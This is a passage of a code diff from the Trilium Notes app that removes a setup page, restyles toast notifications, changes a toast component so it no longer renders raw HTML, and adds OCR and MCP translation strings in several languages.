-                    <ActionButton icon="bx bx-x" text={t("setup.dismiss-error")} onClick={() => setShowError(false)}  />
-                    {replaceHtmlEscapedSlashes(error)}
-                </Admonition>
-            )}
-
-            {illustration}
-            <h1>{title}</h1>
-            {description && <p class="page-description">{description}</p>}
-            {children && <main>
-                {children}
-            </main>}
-            {footer && <footer>{footer}</footer>}
-        </div>
-    );
-}
-
-function getNetworkAddresses(): string[] {
-    if (!isElectron()) {
-        return [`${location.protocol}//${location.host}`];
-    }
-
-    // eslint-disable-next-line @typescript-eslint/no-require-imports
-    const os = require("os") as typeof import("os");
-    const interfaces = os.networkInterfaces();
-    const addresses: string[] = [];
-
-    for (const nets of Object.values(interfaces)) {
-        if (!nets) continue;
-        for (const net of nets) {
-            if (net.internal) continue;
-            if (net.family === "IPv6" && net.scopeid !== 0) continue;
-            addresses.push(net.address);
-        }
-    }
-
-    // Sort by likelihood of being the local network address.
-    addresses.sort((a, b) => networkScore(a) - networkScore(b));
-
-    return addresses.map((addr) => `${location.protocol}//${addr}:${location.port}`);
-}
-
-function networkScore(addr: string): number {
-    if (addr.startsWith("192.168.")) return 0;
-    if (addr.startsWith("10.")) return 1;
-    if (/^172\.(1[6-9]|2\d|3[01])\./.test(addr)) return 2;
-    if (addr.includes(":")) return 4; // IPv6
-    return 3;
-}
-
-function onSetupFinished() {
-    if (isElectron()) {
-        // On Electron we need to use the setup route because it handles the closing of the setup window and opening the main app window.
-        location.href = "setup";
-    } else {
-        location.reload();
-    }
-}
-
-main();

apps/client/src/stylesheets/theme-next/base.css

@@ -544,14 +544,11 @@ li.dropdown-item a.dropdown-item-button:focus-visible {
     vertical-align: middle;
 }
 
-#toast-container .toast .toast-header .btn-close {
+#toast-container .toast .toast-header .btn-close,
+#toast-container .toast .toast-close .btn-close {
     margin: 0 0 0 12px;
 }
 
-#toast-container .toast.no-title {
-    flex-direction: row;
-}
-
 #toast-container .toast .toast-body {
     flex-grow: 1;
     overflow: hidden;

apps/client/src/stylesheets/theme-next/dialogs.css

@@ -26,7 +26,8 @@
 .modal .modal-header .btn-close,
 .modal .modal-header .help-button,
 .modal .modal-header .custom-title-bar-button,
-#toast-container .toast .toast-header .btn-close {
+#toast-container .toast .toast-header .btn-close,
+#toast-container .toast .toast-close .btn-close {
     display: flex;
     justify-content: center;
     align-items: center;
@@ -46,12 +47,14 @@
 }
 
 .modal .modal-header .btn-close,
-#toast-container .toast .toast-header .btn-close {
+#toast-container .toast .toast-header .btn-close,
+#toast-container .toast .toast-close .btn-close {
     --modal-control-button-hover-background: var(--modal-close-button-hover-background);
 }
 
 .modal .modal-header .btn-close::after,
-#toast-container .toast .toast-header .btn-close::after {
+#toast-container .toast .toast-header .btn-close::after,
+#toast-container .toast .toast-close .btn-close::after {
     content: "\ec8d";
     font-family: boxicons;
 }
@@ -67,7 +70,8 @@
 .modal .modal-header .btn-close:hover,
 .modal .modal-header .help-button:hover,
 .modal .modal-header .custom-title-bar-button:hover,
-#toast-container .toast .toast-header .btn-close:hover {
+#toast-container .toast .toast-header .btn-close:hover,
+#toast-container .toast .toast-close .btn-close:hover {
     background: var(--modal-control-button-hover-background);
     color: var(--modal-control-button-hover-color);
 }
@@ -75,19 +79,22 @@
 .modal .modal-header .btn-close:active,
 .modal .modal-header .help-button:active,
 .modal .modal-header .custom-title-bar-button:active,
-#toast-container .toast .toast-header .btn-close:active {
+#toast-container .toast .toast-header .btn-close:active,
+#toast-container .toast .toast-close .btn-close:active {
     transform: scale(.85);
 }
 
 .modal .modal-header .btn-close:focus,
 .modal .modal-header .help-button:focus,
-#toast-container .toast .toast-header .btn-close:focus {
+#toast-container .toast .toast-header .btn-close:focus,
+#toast-container .toast .toast-close .btn-close:focus {
     box-shadow: none !important;
 }
 
 .modal .modal-header .btn-close:focus-visible,
 .modal .modal-header .help-button:focus-visible,
-#toast-container .toast .toast-header .btn-close:focus-visible {
+#toast-container .toast .toast-header .btn-close:focus-visible,
+#toast-container .toast .toast-close .btn-close:focus-visible {
     outline: 2px solid var(--input-focus-outline-color);
     outline-offset: 2px;
 }

apps/client/src/translations/en/translation.json

@@ -2093,7 +2093,10 @@
     "process_now": "Process OCR",
     "processing": "Processing...",
     "processing_started": "OCR processing has been started. Please wait a moment and refresh.",
+    "processing_complete": "OCR processing complete.",
     "processing_failed": "Failed to start OCR processing",
+    "text_filtered_low_confidence": "OCR detected text with {{confidence}}% confidence, but it was discarded because your minimum threshold is {{threshold}}%.",
+    "open_media_settings": "Open Settings",
     "view_extracted_text": "View extracted text (OCR)"
   },
   "command_palette": {
@@ -2304,58 +2307,9 @@
     "sample_user_journey": "User Journey",
     "sample_xy": "XY",
     "sample_venn": "Venn",
-    "sample_ishikawa": "Ishikawa"
-  },
-  "setup": {
-    "heading": "Get started with Trilium",
-    "new-document": "New knowledge base",
-    "new-document-description": "Start with a clean knowledge base and begin right away.",
-    "sync-from-desktop": "Connect a desktop app",
-    "sync-from-desktop-description": "You only have a Trilium desktop app running on another device. This device will sync its data from that desktop app.",
-    "sync-from-server": "Connect to an existing server",
-    "sync-from-server-description": "You have a Trilium server running elsewhere (either self-hosted or in the cloud). This device will sync its data from that server.",
-    "next": "Next",
-    "init-in-progress": "Document initialization in progress",
-    "redirecting": "You will be shortly redirected to the application.",
-    "title": "Setup",
-    "sync-from-server-page-description": "Enter your server details below to connect your existing workspace.",
-    "sync-in-progress-title": "Sync in progress",
-    "sync-in-progress-description": "Your device is now connected and items are being synchronized.",
-    "button-back": "Back",
-    "button-finish-setup": "Finish setup",
-    "sync-step-connecting": "Connecting to server",
-    "sync-step-syncing": "Syncing data",
-    "sync-step-finalizing": "Setting up options",
-    "create-new-document-options-title": "How would you like to start?",
-    "create-new-document-options-with-demo": "With demo content",
-    "create-new-document-options-with-demo-description": "Explore Trilium with example content.",
-    "create-new-document-options-empty": "Empty",
-    "create-new-document-options-empty-description": "Start with a blank knowledge base. You can import demo notes later.",
-    "create-new-document-title": "Preparing your knowledge base",
-    "create-new-document-description": "This will only take a moment.",
-    "sync-illustration-this-device": "This device",
-    "sync-illustration-desktop-app": "Your desktop app",
-    "sync-illustration-server": "Your server",
-    "sync-from-desktop-step1": "Open your desktop instance of Trilium Notes.",
-    "sync-from-desktop-step2": "From the Trilium Menu, click Options.",
-    "sync-from-desktop-step3": "Click on Sync category in the note tree.",
-    "sync-from-desktop-step4": "Change server instance address to point to one of the addresses on the right and click Save.",
-    "sync-from-desktop-step5": "Click the \"Test sync\" button to verify connection is successful.",
-    "sync-from-desktop-warning": "Make sure both devices are on the same network.",
-    "sync-from-desktop-waiting": "Waiting for connection...",
-    "advanced-options": "Advanced options",
-    "sync-failed": "Failed to sync: {{message}}",
-    "server-host": "Trilium server address",
-    "server-host-placeholder": "https://<hostname>:<port>",
-    "server-password": "Password",
-    "proxy-server": "Proxy server (optional)",
-    "proxy-server-placeholder": "https://<hostname>:<port>",
-    "proxy-instruction": "If you leave proxy setting blank, system proxy will be used.",
-    "dismiss-error": "Dismiss error",
-    "wrong-password": "Incorrect password. Please try again.",
-    "language": "Language",
-    "continue": "Continue",
-    "your-ip-addresses": "Addresses for this device"
+    "sample_ishikawa": "Ishikawa",
+    "sample_treeview": "TreeView",
+    "sample_wardley": "Wardley Map"
   },
   "mind-map": {
     "addChild": "Add child",

apps/client/src/translations/ga/translation.json

@@ -399,7 +399,7 @@
     "calendar_root": "nóta marcáilte ar cheart a úsáid mar fhréamh do nótaí lae. Níor cheart ach ceann amháin a mharcáil mar sin.",
     "archived": "Ní bheidh nótaí leis an lipéad seo le feiceáil de réir réamhshocraithe i dtorthaí cuardaigh (i ndialóga Léim Chuig, Cuir Nasc Leis srl. chomh maith).",
     "exclude_from_export": "ní chuirfear nótaí (lena bhfo-chrann) san áireamh in aon onnmhairiú nótaí",
-    "run": "Sainmhíníonn sé seo cé na himeachtaí ar cheart don script rith orthu. Is iad seo a leanas na luachanna féideartha:\n<ul>\n<li>frontendStartup - nuair a thosaíonn (nó a athnuachan) tosaigh Trilium, ach ní ar fhóin phóca.</li>\n<li>mobileStartup - nuair a thosaíonn (nó a athnuachan) tosaigh Trilium, ar fhóin phóca.</li>\n<li>backendStartup - nuair a thosaíonn cúltaca Trilium</li>\n<li>uair an chloig - rith uair san uair. Is féidir leat lipéad breise <code>runAtHour</code> a úsáid chun a shonrú cén uair a ritheann sé.</li>\n<li>daily - rith uair sa lá</li>\n</ul>",
+    "run": "Sainmhíníonn sé seo cé na himeachtaí ar cheart don script rith orthu. Is iad seo a leanas na luachanna féideartha:\n<ul>\n<li>frontendStartup - nuair a thosaíonn (nó a athnuachan) tosaigh Trilium, ach ní ar fhóin phóca.</li>\n<li>mobileStartup - nuair a thosaíonn (nó a athnuachan) tosaigh Trilium, ar fhóin phóca.</li>\n<li>backendStartup - nuair a thosaíonn cúltaca Trilium.</li>\n<li>hourly - rith uair san uair. Is féidir leat lipéad breise <code>runAtHour</code> a úsáid chun a shonrú cén uair a ritheann sé.</li>\n<li>daily - rith uair sa lá.</li>\n</ul>",
     "run_on_instance": "Sainmhínigh cén sampla de Trilium ba chóir é seo a rith air. Réamhshocrú do gach sampla.",
     "run_at_hour": "Cén uair ar cheart é seo a rith? Ba cheart é a úsáid i dteannta <code>#run=hourly</code>. Is féidir é seo a shainiú arís agus arís eile le haghaidh níos mó ritheanna i rith an lae.",
     "disable_inclusion": "Ní chuirfear scripteanna leis an lipéad seo san áireamh i bhforghníomhú an scripte tuismitheora.",
@@ -709,7 +709,8 @@
     "export_as_image": "Easpórtáil mar íomhá",
     "export_as_image_png": "PNG (rastar)",
     "export_as_image_svg": "SVG (veicteoir)",
-    "note_map": "Léarscáil nótaí"
+    "note_map": "Léarscáil nótaí",
+    "view_ocr_text": "Féach ar théacs OCR"
   },
   "onclick_button": {
     "no_click_handler": "Níl aon láimhseálaí cliceáil sainithe ag an ngiuirléid cnaipe '{{componentId}}'"
@@ -1224,12 +1225,28 @@
   },
   "images": {
     "images_section_title": "Íomhánna",
-    "download_images_automatically": "Íoslódáil íomhánna go huathoibríoch le húsáid as líne.",
-    "download_images_description": "Is féidir tagairtí d’íomhánna ar líne a bheith i HTML greamaithe, aimseoidh Trilium na tagairtí sin agus íoslódálfaidh sé na híomhánna ionas go mbeidh siad ar fáil as líne.",
-    "enable_image_compression": "Cumasaigh comhbhrú íomhá",
-    "max_image_dimensions": "Uasleithead/airde íomhá (athrófar méid na híomhá má sháraíonn sí an socrú seo).",
+    "download_images_automatically": "Íomhánna a íoslódáil go huathoibríoch",
+    "download_images_description": "Íoslódáil íomhánna tagartha ar líne ó HTML greamaithe ionas go mbeidh siad ar fáil as líne.",
+    "enable_image_compression": "Comhbhrú íomhá",
+    "max_image_dimensions": "Uasmhéid toisí íomhá",
     "max_image_dimensions_unit": "picteilíní",
-    "jpeg_quality_description": "Cáilíocht JPEG (10 - an caighdeán is measa, 100 - an caighdeán is fearr, moltar 50 - 85)"
+    "jpeg_quality_description": "Is é an raon molta ná 50–85. Laghdaíonn luachanna níos ísle méid an chomhaid, agus coinníonn luachanna níos airde sonraí.",
+    "enable_image_compression_description": "Comhbhrúigh agus athraigh méid íomhánna nuair a uaslódálfar nó a ghreamaítear iad.",
+    "max_image_dimensions_description": "Athrófar méid íomhánna a sháraíonn an méid seo go huathoibríoch.",
+    "jpeg_quality": "Cáilíocht JPEG",
+    "ocr_section_title": "Eastóscadh Téacs (OCR)",
+    "ocr_related_content_languages": "Teangacha ábhair (a úsáidtear le haghaidh eastóscadh téacs)",
+    "ocr_auto_process": "Próiseáil comhaid nua go huathoibríoch",
+    "ocr_auto_process_description": "Bain téacs go huathoibríoch as comhaid atá uaslódáilte nó greamaithe le déanaí.",
+    "ocr_min_confidence": "Íosmhuinín",
+    "ocr_confidence_description": "Ná bain ach téacs os cionn an tairsí muiníne seo. Cuimsíonn luachanna níos ísle níos mó téacs ach d'fhéadfadh siad a bheith níos lú cruinn.",
+    "batch_ocr_title": "Próiseáil Comhaid atá ann cheana",
+    "batch_ocr_description": "Bain téacs as na híomhánna, na PDFanna agus na doiciméid Office go léir atá i do nótaí. D’fhéadfadh sé seo roinnt ama a thógáil ag brath ar líon na gcomhad.",
+    "batch_ocr_start": "Tosaigh Próiseáil Bhaisc",
+    "batch_ocr_starting": "Ag tosú próiseáil bhaisc...",
+    "batch_ocr_progress": "Ag próiseáil {{processed}} de {{total}} comhad...",
+    "batch_ocr_completed": "Próiseáil bhaisc críochnaithe! Próiseáladh {{processed}} comhad.",
+    "batch_ocr_error": "Earráid le linn próiseála baisce: {{error}}"
   },
   "attachment_erasure_timeout": {
     "attachment_erasure_timeout": "Am Teorann Scriosadh Ceangaltáin",
@@ -1275,7 +1292,7 @@
     "custom_name_label": "Ainm innill chuardaigh saincheaptha",
     "custom_name_placeholder": "Saincheap ainm an innill chuardaigh",
     "custom_url_label": "Ba chóir go mbeadh {keyword} san áireamh mar áitchoinneálaí don téarma cuardaigh i URL inneall cuardaigh saincheaptha.",
-    "custom_url_placeholder": "Saincheap url an innill chuardaigh",
+    "custom_url_placeholder": "Saincheap URL an innill chuardaigh",
     "save_button": "Sábháil"
   },
   "tray": {
@@ -1903,7 +1920,7 @@
   },
   "content_language": {
     "title": "Teangacha ábhair",
-    "description": "Roghnaigh teanga amháin nó níos mó ar cheart dóibh a bheith le feiceáil sa rogha teanga sa rannán Airíonna Bunúsacha de nóta téacs inléite amháin nó in-eagarthóireachta. Ceadóidh sé seo gnéithe ar nós seiceáil litrithe nó tacaíocht ó dheis go clé."
+    "description": "Roghnaigh teanga amháin nó níos mó ar cheart dóibh a bheith le feiceáil sa rogha teanga sa rannán Airíonna Bunúsacha de nóta téacs inléite amháin nó in-eagarthóireachta. Ceadaíonn sé seo gnéithe ar nós seiceáil litrithe, tacaíocht ó dheis go clé agus eastóscadh téacs (OCR)."
   },
   "switch_layout_button": {
     "title_vertical": "Bog an painéal eagarthóireachta go dtí an bun",
@@ -2308,7 +2325,8 @@
     "note_context_enabled": "Cliceáil chun comhthéacs nótaí a dhíchumasú: {{title}}",
     "note_context_disabled": "Cliceáil chun an nóta reatha a chur san áireamh i gcomhthéacs",
     "no_provider_message": "Níl aon soláthraí AI cumraithe. Cuir ceann leis chun comhrá a thosú.",
-    "add_provider": "Cuir Soláthraí AI leis"
+    "add_provider": "Cuir Soláthraí AI leis",
+    "sources_summary": "{{count}} foinsí ó {{sites}} suíomhanna"
   },
   "sidebar_chat": {
     "title": "Comhrá AI",
@@ -2348,6 +2366,44 @@
     "delete_provider_confirmation": "An bhfuil tú cinnte gur mian leat an soláthraí \"{{name}}\" a scriosadh?",
     "api_key": "Eochair API",
     "api_key_placeholder": "Cuir isteach d'eochair API",
-    "cancel": "Cealaigh"
+    "cancel": "Cealaigh",
+    "feature_not_enabled": "Cumasaigh an ghné turgnamhach LLM i Socruithe → Ardleibhéil → Gnéithe turgnamhacha chun comhtháthú AI a úsáid.",
+    "mcp_title": "MCP (Prótacal Comhthéacs Múnla)",
+    "mcp_enabled": "Freastalaí MCP",
+    "mcp_enabled_description": "Nochtaigh críochphointe Prótacal Comhthéacs Múnla (MCP) ionas gur féidir le cúntóirí códaithe AI (m.sh. Claude Code, GitHub Copilot) do nótaí a léamh agus a mhodhnú. Ní féidir rochtain a fháil ar an gcríochphointe ach ó localhost.",
+    "mcp_endpoint_title": "URL críochphointe",
+    "mcp_endpoint_description": "Cuir an URL seo le cumraíocht MCP do chúntóra AI",
+    "tools": {
+      "search_notes": "Cuardaigh nótaí",
+      "get_note": "Faigh nóta",
+      "get_note_content": "Faigh ábhar nótaí",
+      "update_note_content": "Nuashonraigh ábhar an nóta",
+      "append_to_note": "Cuir leis an nóta",
+      "create_note": "Cruthaigh nóta",
+      "get_attributes": "Faigh tréithe",
+      "get_attribute": "Faigh tréith",
+      "set_attribute": "Socraigh tréith",
+      "delete_attribute": "Scrios tréith",
+      "get_child_notes": "Faigh nótaí leanaí",
+      "get_subtree": "Faigh fo-chrann",
+      "load_skill": "Luchtaigh scileanna",
+      "web_search": "Cuardach gréasáin",
+      "note_in_parent": "<Note/> i <Parent/>",
+      "get_attachment": "Faigh ceangaltán",
+      "get_attachment_content": "Léigh ábhar an cheangail"
+    }
+  },
+  "ocr": {
+    "extracted_text": "Téacs Bainte (OCR)",
+    "extracted_text_title": "Téacs Bainte (OCR)",
+    "loading_text": "Ag lódáil téacs OCR...",
+    "no_text_available": "Níl aon téacs OCR ar fáil",
+    "no_text_explanation": "Níor próiseáladh an nóta seo le haghaidh eastóscadh téacs OCR nó níor aimsíodh aon téacs.",
+    "failed_to_load": "Theip ar lódáil téacs OCR",
+    "process_now": "Próiseas OCR",
+    "processing": "Ag próiseáil...",
+    "processing_started": "Tá próiseáil OCR tosaithe. Fan nóiméad agus athnuachan le do thoil.",
+    "processing_failed": "Theip ar phróiseáil OCR a thosú",
+    "view_extracted_text": "Féach ar théacs eastósctha (OCR)"
   }
 }

apps/client/src/translations/ja/translation.json

@@ -2265,7 +2265,8 @@
     "note_context_enabled": "クリックしてノートのコンテキストを無効にする: {{title}}",
     "note_context_disabled": "クリックして現在のノートをコンテキストに含める",
     "no_provider_message": "AI プロバイダーが設定されていません。チャットを開始するには、プロバイダーを追加してください。",
-    "add_provider": "AI プロバイダーを追加"
+    "add_provider": "AI プロバイダーを追加",
+    "sources_summary": "{{count}} 件のソースを {{sites}} サイトから取得"
   },
   "sidebar_chat": {
     "title": "AI チャット",
@@ -2305,7 +2306,32 @@
     "delete_provider_confirmation": "プロバイダー \"{{name}}\" を削除してもよろしいですか？",
     "api_key": "API キー",
     "api_key_placeholder": "API キーを入力してください",
-    "cancel": "キャンセル"
+    "cancel": "キャンセル",
+    "feature_not_enabled": "AI 連携機能を使用するには、「設定」→「高度」→「実験的機能」で LLM 実験的機能を有効にしてください。",
+    "mcp_title": "MCP（モデル コンテキスト プロトコル）",
+    "mcp_enabled": "MCP サーバー",
+    "mcp_enabled_description": "AI コーディングアシスタント（例：Claude Code、GitHub Copilot）がノートを読み取って変更できるように、モデルコンテキストプロトコル（MCP）エンドポイントを公開します。このエンドポイントは localhost からのみアクセス可能です。",
+    "mcp_endpoint_title": "エンドポイント URL",
+    "mcp_endpoint_description": "この URL を AI アシスタントの MCP 設定に追加してください",
+    "tools": {
+      "search_notes": "ノートを検索",
+      "get_note": "ノートを取得",
+      "get_note_content": "ノートの内容を取得",
+      "update_note_content": "ノートの内容を更新",
+      "append_to_note": "ノートに追記",
+      "create_note": "ノートを作成",
+      "get_attributes": "複数の属性を取得",
+      "get_attribute": "属性を取得",
+      "set_attribute": "属性を設定",
+      "delete_attribute": "属性を削除",
+      "get_child_notes": "子ノートを取得",
+      "get_subtree": "サブツリーを取得",
+      "load_skill": "スキルを読み込む",
+      "web_search": "Web 検索",
+      "note_in_parent": "<Note/> を <Parent/>",
+      "get_attachment": "添付ファイルを取得",
+      "get_attachment_content": "添付ファイルの内容を読み取る"
+    }
   },
   "ocr": {
     "extracted_text": "抽出されたテキスト（OCR）",

apps/client/src/translations/ro/translation.json

@@ -2137,55 +2137,5 @@
     "title_few": "{{count}} taburi",
     "title_other": "{{count}} de taburi",
     "more_options": "Mai multe opțiuni"
-  },
-  "setup": {
-    "heading": "Începeți cu Trilium",
-    "new-document": "Nouă bază de cunoștințe",
-    "new-document-description": "Începeți cu o bază de cunoștințe curată și începeți imediat.",
-    "sync-from-desktop": "Conectează o aplicație desktop",
-    "sync-from-desktop-description": "Aveți doar o aplicație Trilium desktop rulând pe un alt dispozitiv. Acest dispozitiv va sincroniza datele de la acea aplicație desktop.",
-    "sync-from-server": "Conectează-te la un server existent",
-    "sync-from-server-description": "Aveți un server Trilium care rulează în altă parte (fie auto-găzduit, fie în cloud). Acest dispozitiv va sincroniza datele de la acel server.",
-    "next": "Următorul",
-    "init-in-progress": "Inițializarea documentului în curs",
-    "redirecting": "Veți fi redirecționat în scurt timp către aplicație.",
-    "title": "Configurare",
-    "sync-from-server-page-description": "Introduceți detaliile serverului dvs. mai jos pentru a vă conecta la spațiul de lucru existent.",
-    "sync-in-progress-title": "Sincronizare în curs",
-    "sync-in-progress-description": "Dispozitivul dvs. este acum conectat și elementele sunt sincronizate.",
-    "button-back": "Înapoi",
-    "button-finish-setup": "Finalizează configurarea",
-    "sync-step-connecting": "Conectare la server",
-    "sync-step-syncing": "Sincronizare date",
-    "sync-step-finalizing": "Setarea opțiunilor",
-    "create-new-document-options-title": "Cum doriți să începeți?",
-    "create-new-document-options-with-demo": "Cu conținut demonstrativ",
-    "create-new-document-options-with-demo-description": "Explorează Trilium cu conținut exemplu.",
-    "create-new-document-options-empty": "Gol",
-    "create-new-document-options-empty-description": "Începeți cu o bază de cunoștințe goală. Puteți importa notițe demo mai târziu.",
-    "create-new-document-title": "Pregătirea bazei de cunoștințe",
-    "create-new-document-description": "Acest proces va dura doar câteva momente.",
-    "sync-illustration-this-device": "Acest dispozitiv",
-    "sync-illustration-desktop-app": "Aplicație desktop",
-    "sync-illustration-server": "Server de sincronizare",
-    "sync-from-desktop-step1": "Deschideți aplicația Trilium Notes pentru desktop.",
-    "sync-from-desktop-step2": "Din meniul Trilium, dați clic pe Opțiuni.",
-    "sync-from-desktop-step3": "Clic pe categoria „Sincronizare”.",
-    "sync-from-desktop-step4": "Schimbați adresa server-ului către: {{- host}} și apăsați „Salvează”.",
-    "sync-from-desktop-step5": "Clic pe butonul „Testează sincronizarea” pentru a verifica dacă conexiunea a fost făcută cu succes.",
-    "sync-from-desktop-final": "După ce ați finalizat acești pași, puteți trece la pasul următor.",
-    "sync-from-desktop-waiting": "Așteptare pentru conexiune...",
-    "advanced-options": "Opțiuni avansate",
-    "sync-failed": "Sincronizare eșuată: {{message}}",
-    "server-host": "Adresa serverului Trilium",
-    "server-host-placeholder": "https://<hostname>:<port>",
-    "server-password": "Parolă",
-    "proxy-server": "Server proxy (opțional)",
-    "proxy-server-placeholder": "https://<hostname>:<port>",
-    "proxy-instruction": " Dacă lăsați setarea proxy necompletată, va fi utilizat proxy-ul sistemului.",
-    "dismiss-error": "Închide mesajul de eroare",
-    "wrong-password": "Parolă greșită. Vă rugăm să încercați din nou.",
-    "language": "Limbă",
-    "continue": "Continuă"
   }
 }

apps/client/src/types.d.ts

@@ -1,4 +1,4 @@
-import { BootstrapDefinition } from "@triliumnext/commons";
+import { IconRegistry, Locale } from "@triliumnext/commons";
 
 import appContext, { AppContext } from "./components/app_context";
 import type FNote from "./entities/fnote";
@@ -15,9 +15,10 @@ interface ElectronProcess {
     platform: string;
 }
 
-interface CustomGlobals extends BootstrapDefinition {
+interface CustomGlobals {
     isDesktop: typeof utils.isDesktop;
     isMobile: typeof utils.isMobile;
+    device: "mobile" | "desktop" | "print";
     getComponentByEl: typeof appContext.getComponentByEl;
     getHeaders: typeof server.getHeaders;
     getReferenceLinkTitle: (href: string) => Promise<string>;
@@ -30,7 +31,32 @@ interface CustomGlobals extends BootstrapDefinition {
     SEARCH_HELP_TEXT: string;
     activeDialog: JQuery<HTMLElement> | null;
     componentId: string;
+    csrfToken: string;
+    baseApiUrl: string;
+    isProtectedSessionAvailable: boolean;
+    isDev: boolean;
+    isMainWindow: boolean;
+    maxEntityChangeIdAtLoad: number;
+    maxEntityChangeSyncIdAtLoad: number;
+    assetPath: string;
+    appPath: string;
+    instanceName: string;
+    appCssNoteIds: string[];
+    triliumVersion: string;
+    TRILIUM_SAFE_MODE: boolean;
+    platform?: typeof process.platform;
     linter: typeof lint;
+    hasNativeTitleBar: boolean;
+    hasBackgroundEffects: boolean;
+    isElectron: boolean;
+    isRtl: boolean;
+    iconRegistry: IconRegistry;
+    themeCssUrl: string;
+    themeUseNextAsBase?: "next" | "next-light" | "next-dark";
+    iconPackCss: string;
+    headingStyle: "plain" | "underline" | "markdown";
+    layoutOrientation: "vertical" | "horizontal";
+    currentLocale: Locale;
 }
 
 type RequireMethod = (moduleName: string) => any;

apps/client/src/widgets/PromotedAttributes.tsx

@@ -1,6 +1,6 @@
 import "./PromotedAttributes.css";
 
-import { DefinitionObject, LabelType, UpdateAttributeResponse } from "@triliumnext/commons";
+import { UpdateAttributeResponse } from "@triliumnext/commons";
 import clsx from "clsx";
 import { ComponentChild, createElement, HTMLInputTypeAttribute, InputHTMLAttributes, MouseEventHandler, TargetedEvent, TargetedInputEvent } from "preact";
 import { Dispatch, StateUpdater, useCallback, useEffect, useRef, useState } from "preact/hooks";
@@ -11,7 +11,7 @@ import FNote from "../entities/fnote";
 import { Attribute } from "../services/attribute_parser";
 import attributes from "../services/attributes";
 import { t } from "../services/i18n";
-import { extractAttributeDefinitionTypeAndName } from "../services/promoted_attribute_definition_parser";
+import { DefinitionObject, extractAttributeDefinitionTypeAndName, LabelType } from "../services/promoted_attribute_definition_parser";
 import server from "../services/server";
 import { randomString } from "../services/utils";
 import ws from "../services/ws";

apps/client/src/widgets/Toast.css

@@ -28,9 +28,10 @@
     overflow: hidden;
 }
 
-.toast.no-title {
+.toast.no-title .toast-main-row {
     display: flex;
     flex-direction: row;
+    align-items: center;
 }
 
 .toast.no-title .toast-icon {
@@ -40,22 +41,26 @@
 }
 
 .toast.no-title .toast-body {
-    padding-inline-start: 0;
-    padding-inline-end: 0;
+    flex: 1;
+    padding-block: var(--bs-toast-padding-y);
+    padding-inline: 0;
 }
 
-.toast.no-title .toast-header {
-    background-color: unset !important;
+.toast.no-title .toast-close {
+    display: flex;
+    align-items: center;
+    padding: var(--bs-toast-padding-y) var(--bs-toast-padding-x);
 }
 
 .toast {
     .toast-buttons {
-        padding: 0 1em 1em 1em;
+        padding: 0 var(--bs-toast-padding-x) var(--bs-toast-padding-y) var(--bs-toast-padding-x);
         display: flex;
-        gap: 1em;
-        justify-content: space-between;
+        flex-direction: column;
+        gap: 0.5em;
 
         .btn {
+            width: 100%;
             color: var(--bs-toast-color);
             background: var(--modal-control-button-background);
 

apps/client/src/widgets/Toast.tsx

@@ -5,7 +5,6 @@ import { useEffect } from "preact/hooks";
 
 import { removeToastFromStore, ToastOptionsWithRequiredId, toasts } from "../services/toast";
 import Icon from "./react/Icon";
-import { RawHtmlBlock } from "./react/RawHtml";
 import Button from "./react/Button";
 
 export default function ToastContainer() {
@@ -43,21 +42,24 @@ function Toast({ id, title, timeout, progress, message, icon, buttons }: ToastOp
             id={`toast-${id}`}
         >
             {title ? (
-                <div class="toast-header">
-                    <strong class="me-auto">
-                        {toastIcon}
-                        <span class="toast-title">{title}</span>
-                    </strong>
-                    {closeButton}
-                </div>
+                <>
+                    <div class="toast-header">
+                        <strong class="me-auto">
+                            {toastIcon}
+                            <span class="toast-title">{title}</span>
+                        </strong>
+                        {closeButton}
+                    </div>
+                    <div className="toast-body">{message}</div>
+                </>
             ) : (
-                <div class="toast-icon">{toastIcon}</div>
+                <div class="toast-main-row">
+                    <div class="toast-icon">{toastIcon}</div>
+                    <div className="toast-body">{message}</div>
+                    <div class="toast-close">{closeButton}</div>
+                </div>
             )}
 
-            <RawHtmlBlock className="toast-body" html={message} />
-
-            {!title && <div class="toast-header">{closeButton}</div>}
-
             {buttons && (
                 <div class="toast-buttons">
                     {buttons.map(({ text, onClick }) => (

apps/client/src/widgets/attribute_widgets/UserAttributesList.tsx

@@ -1,16 +1,14 @@
-import "./UserAttributesList.css";
-
-import type { DefinitionObject } from "@triliumnext/commons";
-import { ComponentChildren, CSSProperties } from "preact";
 import { useState } from "preact/hooks";
-
 import FNote from "../../entities/fnote";
-import attributes from "../../services/attributes";
-import { getReadableTextColor } from "../../services/css_class_manager";
-import { formatDateTime } from "../../utils/formatters";
+import "./UserAttributesList.css";
 import { useTriliumEvent } from "../react/hooks";
+import attributes from "../../services/attributes";
+import { DefinitionObject } from "../../services/promoted_attribute_definition_parser";
+import { formatDateTime } from "../../utils/formatters";
+import { ComponentChildren, CSSProperties } from "preact";
 import Icon from "../react/Icon";
 import NoteLink from "../react/NoteLink";
+import { getReadableTextColor } from "../../services/css_class_manager";
 
 interface UserAttributesListProps {
     note: FNote;
@@ -31,7 +29,7 @@ export default function UserAttributesDisplay({ note, ignoredAttributes }: UserA
         <div className="user-attributes">
             {userAttributes?.map(attr => buildUserAttribute(attr))}
         </div>
-    );
+    )
 
 }
 
@@ -48,13 +46,13 @@ function useNoteAttributesWithDefinitions(note: FNote, attributesToIgnore:  stri
 }
 
 function UserAttribute({ attr, children, style }: { attr: AttributeWithDefinitions, children: ComponentChildren, style?: CSSProperties }) {
-    const className = attr.type === "label" ? `label ${attr.def.labelType}` : "relation";
+    const className = `${attr.type === "label" ? "label" + " " + attr.def.labelType : "relation"}`;
 
     return (
         <span key={attr.friendlyName} className={`user-attribute type-${className}`} style={style}>
             {children}
         </span>
-    );
+    )
 }
 
 function buildUserAttribute(attr: AttributeWithDefinitions): ComponentChildren {
@@ -63,7 +61,7 @@ function buildUserAttribute(attr: AttributeWithDefinitions): ComponentChildren {
     let style: CSSProperties | undefined;
 
     if (attr.type === "label") {
-        const value = attr.value;
+        let value = attr.value;
         switch (attr.def.labelType) {
             case "number":
                 let formattedValue = value;
@@ -104,7 +102,7 @@ function buildUserAttribute(attr: AttributeWithDefinitions): ComponentChildren {
         content = <>{defaultLabel}<NoteLink notePath={attr.value} showNoteIcon /></>;
     }
 
-    return <UserAttribute attr={attr} style={style}>{content}</UserAttribute>;
+    return <UserAttribute attr={attr} style={style}>{content}</UserAttribute>
 }
 
 function getAttributesWithDefinitions(note: FNote, attributesToIgnore: string[] = []): AttributeWithDefinitions[] {

apps/client/src/widgets/buttons/global_menu.tsx

@@ -8,7 +8,7 @@ import { CommandNames } from "../../components/app_context";
 import Component from "../../components/component";
